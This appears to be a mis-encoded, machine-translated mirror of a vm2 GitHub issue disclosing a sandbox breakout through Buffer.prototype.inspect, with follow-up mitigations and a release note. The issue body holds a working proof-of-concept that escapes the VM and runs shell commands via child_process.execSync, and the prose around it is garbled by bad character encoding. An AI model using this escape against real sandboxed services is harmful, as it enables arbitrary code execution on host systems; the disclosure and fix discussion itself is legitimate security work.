Vm2: рдирд┐рд░реАрдХреНрд╖рдг рдХреЗ рд╕рд╛рде рдмреНрд░реЗрдХрдЖрдЙрдЯ

рдХреЛ рдирд┐рд░реНрдорд┐рдд 1 рдорд╛рд░реНрдЪ 2020  ┬╖  11рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ  ┬╖  рд╕реНрд░реЛрдд: patriksimek/vm2

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ vm рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╢реЗрд▓ рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред
рдпрд╣ рдкрд╣рд▓реЗ рд╣реА # 187 рдореЗрдВ рдпрд╣рд╛рдВ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рдЪреБрдХрд╛

const {VM} = require('vm2');
const vm = new VM({
    wasm: false,
    timeout: 2000,
    sandbox: {},
    eval: false,
});

const malicious = '(' + function(){
    try { require('child_process').execSync("idea") } catch(e){}  // Not getting executed

    let buffer = {
        hexSlice: () => "",
        magic: {
            get [Symbol.for("nodejs.util.inspect.custom")](){
                throw f => f.constructor("return process")();
            }
        }
    };
    try{
        Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
    }catch(e){
        e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
    }
}+')()';
vm.run(malicious)

рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рдЯрд┐рдкреНрдкрдгреА

@mxschmitt рдмрд╕ 3.9.0 рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ред рджреЗрд░реА рдХреЗ рд▓рд┐рдП рдореИ рдорд╛рдлреА рдЪрд╛рд╣рддрд╛ рд╣реВрдБред

рд╕рднреА 11 рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

@patriksimek рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдорд╛рд╕реНрдЯрд░ рдореЗрдВ рддрдп рдХреА рдЧрдИ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдлрд┐рдХреНрд╕ https://github.com/patriksimek/vm2/pull/242 рдХреЗ рд╕рд╛рде рдЖрдпрд╛ рдЬреЛ рд╕рдВрд╕реНрдХрд░рдг 3.8.4 рдХреЗ рдмрд╛рдж рд╣реИред рдЗрд╕рд▓рд┐рдП mpn рдореЗрдВ рдпрд╣ рд╕реБрдзрд╛рд░ рдирд╣реАрдВ рд╣реИред

рдпрд╣ рддрдм рддрдХ рдЦреБрд▓рд╛ рд░рд╣рддрд╛ рд╣реИ рдЬрдм рддрдХ v3.8.5 рдмрд╛рд╣рд░ рдирд╣реАрдВ рдЖ рдЬрд╛рддрд╛ред

рдХреНрдпрд╛ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдИрдЯреАрдП рд╣реИ?

@ jan-osch рдЪреВрдВрдХрд┐ @patriksimek рдХрд╛рдлреА рдирд┐рд╖реНрдХреНрд░рд┐рдп рд▓рдЧрддрд╛ рд╣реИ, рдореБрдЭреЗ рдирд╣реАрдВ рдкрддрд╛ред

@XmiliaH рдЖрдкрдХреЗ рдЙрддреНрддрд░ рдФрд░ рд╕рднреА рдпреЛрдЧрджрд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж!

рдХреНрдпрд╛ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рдмрдВрджрд░-рдкреИрдЪ рдХрд┐рдП рдЧрдП рд╕рдорд╛рдзрд╛рди рдмреНрд░реЗрдХрдЖрдЙрдЯ рдХреЛ рддрдм рддрдХ рд░реЛрдХреЗрдВрдЧреЗ рдЬрдм рддрдХ рдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдЕрджреНрдпрддрди рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рди рд╣реЛ?

const vm = new NodeVM({
  console: 'off',
  sandbox: {
    console: consoleInterface,
    setTimeout,
    print,

    // TODO remove once vm2 fixed the breakout issue
    // Reference: https://github.com/patriksimek/vm2/issues/268
    Buffer: {
      ...Buffer,
      prototype: new Proxy(Buffer.prototype, {
        get(object, property) {
          if (property === 'inspect') {
            return () => {
              console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
              consoleInterface.error('Nice try! This breakout attempt will be reported');
            };
          }
          return object[property];
        },
      }),
    },
  },
  require: { // here define modules that can be required
    builtin: [
      // some list
    ],
    external: [
      //...
    ],
  },
});

return vm.run(code, SCRIPT_PATH);

@ рдЬрд╛рди-рдУрд╢ рдПрдХ рдЕрдЪреНрдЫреА рдЖрддреНрдорд╛ рдирд╣реАрдВ рд╣реИ:
1) рдпрд╣ [Symbol.for("nodejs.util.inspect.custom")] рдХреБрдВрдЬреА рдХреЛ рднреВрд▓ рдЬрд╛рддрд╛ рд╣реИред
2) рдпрд╣ рд╣реЛрд╕реНрдЯ рдмрдлрд░ рдХреЗ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
3) рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдХрдВрд╕реЛрд▓.рд▓реЙрдЧ рднреА рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдЧрд╛ рдФрд░ рдЖрдкрдХрд╛ рд╕рдорд╛рдзрд╛рди рдЗрд╕рдХреЗ рдЦрд┐рд▓рд╛рдл рдХреБрдЫ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ рдХреЛрдИ рдЖрд╕рд╛рди рд╕рдорд╛рдзрд╛рди рдирд╣реАрдВ рд╣реИред

рдпрд╣рд╛рдВ рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдЦрд░рд╛рдм рдкрд░реАрдХреНрд╖рдг рд╣реИрдХреА рдлрд┐рдХреНрд╕ рд╣реИ:

function hacky_fix(vm) {
    const internal = vm._internal;
    const old = internal.Decontextify.object;
    const handler = {__proto__: null};
    internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
        const value = old(object, traps, deepTraps, flags, mock);
        const better = new Proxy(value, handler);
        internal.Decontextify.proxies.set(object, better);
        internal.Contextify.proxies.set(better, object);
        return better;
    };
}

рдпрд╣ рдЖрдВрддрд░рд┐рдХ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдкреИрдЪ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рд╛рд╡рдзрд╛рдиреА рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

рдзрдиреНрдпрд╡рд╛рдж @XmiliaH! рдХреНрдпрд╛ рдЖрдк рдРрд╕реЗ рдмреНрд░реЗрдХрдЖрдЙрдЯ рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рдг рд╕реВрдЯ рд╡рд╛рд▓реА рдХреЛрдИ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдЬрд╛рдирддреЗ рд╣реИрдВ? рдореИрдВ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЪреЗрддрд╛рд╡рдиреА рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрдиреЗ рд╕реАрдЖрдИ рдореЗрдВ рдХреБрдЫ рдмреНрд░реЗрдХрдЖрдЙрдЯ рдкрд░реАрдХреНрд╖рдг рдЬреЛрдбрд╝рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ

рд╣рдорд╛рд░реЗ рдкрд╛рд╕ test/vm.js рдореЗрдВ рдХреБрдЫ рдЯреЗрд╕реНрдЯрдХреЗрд╕ рд╣реИрдВред рдмрд╕ рд╣рдорд▓реЗ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдФрд░ рдЖрдкрдХреЛ рдорд╛рдорд▓реЗ рдорд┐рд▓ рдЬрд╛рдПрдВрдЧреЗред

рдпрджрд┐ рдЖрдк рдПрдХ рдирдпрд╛ рд╕рдВрд╕реНрдХрд░рдг рдЬрд╛рд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдорд┐рддреНрд░рд╡рдд рдЕрдиреБрд╕реНрдорд╛рд░рдХ @patriksimek рдмрд╣реБрдд рдмрдврд╝рд┐рдпрд╛ рд╣реЛрдЧрд╛ред

@mxschmitt рдмрд╕ 3.9.0 рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ред рджреЗрд░реА рдХреЗ рд▓рд┐рдП рдореИ рдорд╛рдлреА рдЪрд╛рд╣рддрд╛ рд╣реВрдБред

рдХреНрдпрд╛ рдпрд╣ рдкреГрд╖реНрда рдЙрдкрдпреЛрдЧреА рдерд╛?
0 / 5 - 0 рд░реЗрдЯрд┐рдВрдЧреНрд╕

рд╕рдВрдмрдВрдзрд┐рдд рдореБрджреНрджреЛрдВ

рд▓реЗрдЦрди рддреНрд░реБрдЯрд┐: рдкреНрд░реЙрдХреНрд╕реА рдкрд░ 'рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ': рд╕рдВрдкрддреНрддрд┐ 'рд╕реНрдерд┐рд░рд╛рдВрдХ' рдкреНрд░реЙрдХреНрд╕реА рд▓рдХреНрд╖реНрдп рдкрд░ рдХреЗрд╡рд▓-рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдЧреИрд░-рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдбреЗрдЯрд╛ рд╕рдВрдкрддреНрддрд┐ рд╣реИ рд▓реЗрдХрд┐рди рдкреНрд░реЙрдХреНрд╕реА рдиреЗ рдЕрдкрдирд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдореВрд▓реНрдп рд╡рд╛рдкрд╕ рдирд╣реАрдВ рдХрд┐рдпрд╛
karthikv picture karthikv  ┬╖  15рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

wintertime-inc picture wintertime-inc  ┬╖  5рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

ghost picture ghost  ┬╖  23рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

wojpawlik picture wojpawlik  ┬╖  4рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

CapacitorSet picture CapacitorSet  ┬╖  13рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ